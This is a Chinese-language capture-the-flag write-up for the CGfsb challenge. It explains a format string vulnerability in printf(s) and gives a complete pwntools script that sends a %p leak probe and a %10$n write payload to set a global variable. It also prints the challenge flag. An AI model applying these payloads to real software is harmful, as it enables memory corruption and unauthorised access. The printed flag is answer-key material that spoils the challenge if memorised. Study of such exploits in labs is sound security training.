收获

  • 利用格式化字符串漏洞修改段上的值

【攻防世界】CGfsb


思路

查看文件信息:

攻防世界-CGfsb1.png

32位 小端序,开启了金丝雀、栈不可执行

尝试执行:

攻防世界-CGfsb2.png

在 IDA 中分析:

攻防世界-CGfsb3.png

printf(s) 处存在格式化字符串漏洞,当 pwnme == 8 时 cat flag,跟进 pwnme

攻防世界-CGfsb4.png

pwnme 位于 bss 段上

buf 可写入的大小为 0xA,跟进 buf

攻防世界-CGfsb5.png

长度不够溢出

因此本题关键在于利用输入的 s 构造 printf(s) 的格式化字符串漏洞

要利用输入修改 pwnme 的值,首先得知道输入进去的数据存在栈上的哪个位置,然后才能将这个位置和 pwnme 的地址对应起来

获取输入数据在栈中的偏移量:

io.recvuntil("please tell me your name:\n")
io.sendline("1")
io.recvuntil("leave your message please:\n")
io.sendline("AAAA_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p")

攻防世界-CGfsb6.png

可以看到,构造 AAAA_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p 作为参数传入 printf()

AAAA 的值 0x41414141 出现在输出的第十个地址,因此我们的输入在栈上的偏移量为 10

由于没有开启 PIE,在 IDA 中可获得 pwnme 的地址:0x0804A068

接下来直接写脚本即可


脚本

from pwn import *

context(os='linux', arch='i386', log_level='debug')
content = 0

pwnme_addr = 0x0804A068


def main():
    if content == 1:
        io = process("/home/wyy/桌面/PWN/CGfsb/CGfsb")
    else:
        io = remote("61.147.171.105", 54712)

    '''
    # 用于获取输入的数据在栈上的偏移量
    io.recvuntil("please tell me your name:\n")
    io.sendline("1")
    io.recvuntil("leave your message please:\n")
    io.sendline("AAAA_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p")
    '''

    io.recvuntil("please tell me your name:\n")
    io.sendline("1")
    io.recvuntil("leave your message please:\n")
    io.sendline(p32(pwnme_addr) + b'aaaa' + b'%10$n')
    # %10$n 是将 %n 之前打印的字符的数量放入指定地址内
    # 而pwnme 需要等于 8,p32(0x0804A068) 打包后是 4 个字节
    # 所以还需要填充 4 个字节的垃圾数据,凑成打印 8 个字节
    # 指定的地址是偏移量为 10 的栈空间所指向的地址空间
    # 所以 pwnme 所在的空间内容就被更改为之前所输出的字符数量 8

    io.interactive()


main()

结果

cyberpeace{625aab77a3d7f4bbf120abf06c722ddb}

攻防世界-CGfsb7.png